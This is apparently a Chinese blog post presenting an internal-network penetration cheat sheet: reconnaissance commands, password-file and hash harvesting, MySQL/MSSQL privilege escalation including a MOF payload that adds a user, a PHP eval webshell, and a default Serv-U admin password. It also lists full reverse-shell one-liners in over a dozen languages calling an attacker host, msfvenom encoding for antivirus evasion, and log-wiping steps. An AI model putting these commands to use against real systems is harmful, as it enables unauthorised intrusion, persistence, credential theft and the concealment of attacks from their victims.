内网渗透

1.信息收集

1.1.windows

  • 1.1.1用户操作

    • query user #查看当前在线的用户
      whoami #查看当前用户
      net user #查看当前系统的用户
      net1 user #查看当前系统的用户
      net user /domain #查看当前域里面的用户
      net user administrator #查看当前用户的详细信息
      net localgroup #查看本地用户组
      net localgroup administrators #查看管理组中的成员
  • 1.1.2网络操作

    • ipconfig /all #查看当前机器的ip
      netstat -ano #查看有哪些网络连接端口
      net view #查看在同一工作组中的机器
      net view /domain #判断是否有域
      route print #查看路由表
      arp -a #查看arp表
  • 1.1.3系统操作

    • set #查看系统的环境变量
      systeminfo #查看当前操作系统信息,关注【补丁号】!!!!
      tasklist #查看进程名称以及PID号
      net start #查看服务
    • 软件安装信息查询

      dir /a "c:\program files" #查看当前系统的安装的软件
      dir /a "c:\program files (x86)"

      收集hash

  • 1.1.4主动搜集

    • 搜索文件

      • @echo off
        set “FileName=password.txt”
        echo searching..
        for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (
        if exist %%a:\ (
        for /f “delims=” %%b in (‘dir /a-d /s /b “%%a:*%FileName%” 2^>nul’) do (
        if /i “%%~nxb” equ “%FileName%” (
        echo,%%b))))
    • 判断主机存活

      • @echo off
        for /l %%i in (1 1 254) do ping -v 4 -n 1 192.168.5.%%i || find “TTL” >>hots.txt
        pause
  • 1.1.5用户习惯收集

    • 用户桌面信息收集

      • C:\Users\用户名\Desktop
    • 下载目录信息收集

      • C:\Users\用户名\Download\
      • 迅雷
      • 百度云
    • 收藏夹信息收集

      • chrome

        • C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default
      • ie

        • C:\Users\用户名\Favorites
      • firefox

    • 浏览器记录收集

    • 聊天工具收集

      • qq
      • 微信
    • 系统日志收集

      • 登录日志
      • 服务日志

1.2.linux

  • ifconfig
    route #查看路由
    whoami #
    id #查看当前用户id
    id test #查看test用户信息
    w #查看当前系统活动用户
    lastlog #查看用户登陆日志
    grep MemTotal /proc/meminfo #查看系统内存总量
    
    cat /etc/passwd #查看用户列表
    cat /etc/shadow #获取用户hash
    cat /etc/group #查看用户组
    grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ # 列出超级用户
    awk -F: ‘($3 == “0”) {print}’ /etc/passwd #列出超级用户
    
    netstat –an
    netstat -antlp #查看tcp连接
  • 系统类型和内核版本

    cat /etc/issue #查看系统名称
    cat /etc/lsb-release #查看系统名称、版本号
    uname -a #查看内核信息
    ls /root |grep vmlinuz #查看内核信息
  • 进程信息

    ps aux #查看进程信息
    ps -ef
  • 安装的软件包和服务

    dpkg -l #查看安装的软件包
    rpm -qa #查看安装的软件包
    cat /etc/service #查看系统存在的服务
  • 用户登录信息

    /var/log/wtmp
    /var/log/btmp
  • 服务配置

    cat /etc/syslog.conf
    cat /etc/chttp.conf
    cat /etc/lighttpd.conf
    cat /etc/cups/cupsd.conf
    cat /etc/inetd.conf
    cat /etc/apache2/apache2.conf
    cat /etc/my.conf
    cat /etc/httpd/conf/httpd.conf
    cat /opt/lampp/etc/httpd.conf
  • 网络配置

    cat /etc/network/interfaces #网卡配置
    cat /etc/resolv.conf #dns配置
    hostname #查看主机名
  • 网络拓扑收集

    arp –a
  • 日志信息收集

    /var/log/*
    
    #http日志
    /var/log/apache2/access.log
    #mysql日志
    /var/log/mysql/error.log
    #apt日志
    /var/log/apt/history.log
  • /home目录文件信息收集

1.3第三方

  • ssh
  • ftp
  • mail
  • mysql
  • mssql

2.提权

windows

  • 系统漏洞,ms系列

  • 应用程序

    • pcanywhere

    • serv-U

      • 默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P

linux

服务提权

  • mysql

    • UDF提权

      • windows

        • UDF

          • mysql版本 < 5.1 , UDF导出到系统目录c:/windows/system32/
          • mysql版本 > 5.1 ,UDF导出到安装路径MySQL\Lib\Plugin\
      • linux

        • /usr/lib/mysql/plugin/
      • 要求有写权限,单引号未被过滤

    • MOF

      • windows专属

        • 流程:
          1、 首先找个可写的目录,将我们的MOF文件上传上去。
          2、 执行以下sql语句,mof文件内的命令便会执行。
          select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
        • mofcomp.exe xxxxx.mof 执行mof文件
        • 调用Imofcompiler接口的$complieFile方法
        • #pragma namespace("\\.\root\subscription")
          instance of __EventFilter as $EventFilter
          {
          EventNamespace = "Root\Cimv2";
          Name = "filtP2";
          Query = "Select * From __InstanceModificationEvent "
          "Where TargetInstance Isa \"Win32_LocalTime\" "
          "And TargetInstance.Second = 5";
          QueryLanguage = "WQL";
          };
          instance of ActiveScriptEventConsumer as $Consumer
          {
          Name = "consPCSV2";
          ScriptingEngine = "JScript";
          ScriptText =
          "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user secist 123 /add\")";
          };
          instance of __FilterToConsumerBinding
          {
          Consumer = $Consumer;
          Filter = $EventFilter;
          };
  • mssql

    • xp_cmdshell

      • 开启:
        EXEC sp_configure 'show advanced options', 1;
        RECONFIGURE;
        EXEC sp_configure 'xp_cmdshell', 1;
        RECONFIGURE;
      • exec xp_cmdshell 'net user test test /add'
    • xp_regwrite

    • xp_regread

  • tomcat

    • 弱口令爆破

3.权限维持

windows

  • cmd命令

    • 写webshell

      • 1.使用cmd命令写webshell,带有<>以及“空格”的时候,需要使用^进行转义
        例如:
        echo ^<?php^ eval($_POST[a]);?^> > shell.php

linux

cobaltstrike

  • 生成后门

    • 以管理员方式运行

msf

  • meterpreter
  • msfvenom
  • exploit

4.跨边界传输

跨边界代理/转发

  • 端口转发

    • lcx

      • listen

        • -listen
        • 将port1监听到的数据发往port2
      • tran

        • -tran
        • 将本地port开启监听,并且将监听到的数据发往远程端口
      • slave

        • -slave
        • 将远程主机A的port与远程主机B的port双向转发
    • frp反向代理

      • frps -c frps.ini
      • frpc -c frpc.ini
  • 内网代理

    • http tunnel

      • reDuh

      • reGeorg

        • 1.python2 安装urllib3库
        • 2.上传tunnel.nosocket.php代理脚本到web服务器
        • 3.访问url,确认web服务器上tunnel.nosocket.php能够执行
        • 4.python2执行reGeorgSocksProxy.py脚本,连接tunnel.nosocket.php
        • 5.配置本地代理,使用代理工具进行sock5代理
    • ssh tunnel

      • xshell直接启动隧道转发
      • ssh -D设置socket隧道
      • ssh -L设置端口正向转发
      • ssh -R设置端口反向连接
    • DNS tunnel

      • dns2tcp
    • pingtunnel

      • 服务端-type server
      • 连接端-type client

反弹shell

  • 1.nc

    • 正向连接

      • 攻击机

        • nc -vv 受害者ip 受害者port
      • 受害者

        • nc -lvvp 受害者port -e /bin/bash
    • 反向连接

      • 攻击机

        • nc -lvvp 攻击机port
      • 受害者

        • nc -vv 攻击机ip 攻击机port -e /bin/bash
    • 聊天/传文件

      • 发送方

        • nc -lvvp 自己的port < 文件
      • 接收方

        • nc -vv 发送方ip 发送方port > 文件
  • 2.bash

    • 接收端(hackip,公网)

      • nc -lvvp 端口
    • 发送端(受害者)

      • bash -i >& /dev/tcp/hackip/hack端口 0>&1
        0<&31-;exec 31<>/dev/tcp/hackip/hack端口;sh <&31 >&31 2>&31
  • 3.socat

    • tcp

      • 接收端(攻击机)

        • socat TCP-LISTEN:端口 -
      • 发送端(靶机)

        • linux

          • socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
        • windows

          • socat.exe exec:'cmd.exe',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
    • udp

      • 接收端(攻击机)

        • socat udp-listen:端口 -
      • 发送端(靶机)

        • linux

          • socat udp-connect:ip:port exec:’bash -i’,pty,stderr,sane 2>&1>/dev/null &
        • windows

          • socat.exe udp-connect:192.168.5.108:30000 exec:’cmd.exe’,pty,stderr,sane
  • 4.python

    • 接收端(攻击机)

      • nc -lvvp port
    • 发送端(靶机)

      • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • 5.PHP反弹

    • 接收端(攻击机)

      • nc -lvvp port
    • 发送端(靶机)

      • php -r ‘$sock=fsockopen(“接收端ip”,接收端端口);exec(“/bin/sh -i <&3 >&3 2>&3”);’
  • 6.JAVA反弹

    • 接收端(攻击机)

      • nc -lvvp port
    • 发送端(靶机)

      • r = Runtime.getRuntime() p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[]) p.waitFor()
  • 7.perl反弹

    • 接收端(攻击机)

      • nc -lvvp port
    • 发送端(靶机)

      • perl -e ‘use Socket;$i=”ip”;$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
  • 8.ruby反弹

    • 接收端(攻击机)

      • nc -lvvp port
    • 发送端(靶机)

      • ruby -r socket -e ‘exit if fork;c=TCPSocket.new(“ip”,”port”);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
  • 9.telnet反弹

    • 接收端(攻击机)

      • nc -lvvp port
    • 发送端(靶机)

      • mknod backpipe p && telnet ip port 0<backpipe | /bin/bash 1>backpipe
  • 10.lua反弹

    • 接收端(攻击机)

      • nc -lvvp port
    • 发送端(靶机)

      • lua -e “local s=require(‘socket’);local t=assert(s.tcp());t:connect(‘ip’,port);while true do local r,x=t:receive();local f=assert(io.popen(r,’r’));local b=assert(f:read(‘*a’));t:send(b);end;f:close();t:close();”

         

        11.awk反弹
    • 接收端(攻击机)

      • nc -lvvp port
    • 发送端(靶机)

      • awk ‘BEGIN{s=”/inet/tcp/0/ip/port”;while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=”exit”);close(s)}}’
  • 12.ksh/tsh/zsh/sh

    • 接收端(攻击机)

      • nc -lvvp port
    • 发送端(靶机)

      • ksh -c ‘ksh >/dev/tcp/ip/port 2>&1 <&1
  • 13.通过msfvenom生成反弹shell的payload

    • 1.msfvenom -l payloads | grep 工具
      2.msfvenom -p payload LHOST=监听机IP LPORT=监听端口
  • 14.icmpsh

    • 接收端

      ./icmpsh-m.py

    • 发送端

      • icpmsh.exe -t 接收端ip

文件传输

  • 1.nc传输
  • 2.上传点上传
  • 3.wget下载
  • 4.脚本php/python/perl/ruby发起请求并读写文件
  • 5.ftp
  • 6.sftp
  • 7.svn
  • 8.git
  • 9.sync
  • 10.powershell
  • 11.net use 挂载盘符
  • 12.bitsadmin
  • 13.scp

5.隐匿攻击

免杀

  • msfvenom

    • encoder
      编码器

      • -e 编码器 -i 编码次数

      • 多次编码

        • msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.5.172 lport=4444 -e x86/shikata_ga_nai -i 15 -f raw | msfvenom -a x86 –platform windows -e x86/alpha_upper -i 10 -f exe -o shell.exe
    • bad-chars
      花指令

      • -b ‘\x00’
  • the-backdoor-factory

  • veil

  • upx

    • 加壳
  • .net壳

  • 分离免杀

    • shellcode提取,动态加载

msf/cs

  • msf发往cs
  • cs发往msf

6.横向移动

7.域渗透

瞄准域控(DC机)发起攻击

8.痕迹清理

windows

linux

    • /var/log/btmp
      /var/log/wtmp
      ~/.bash_history
      history -c
posted @ 2020-08-04 14:15  r1ch4rd_L  阅读(622)  评论(0编辑  收藏  举报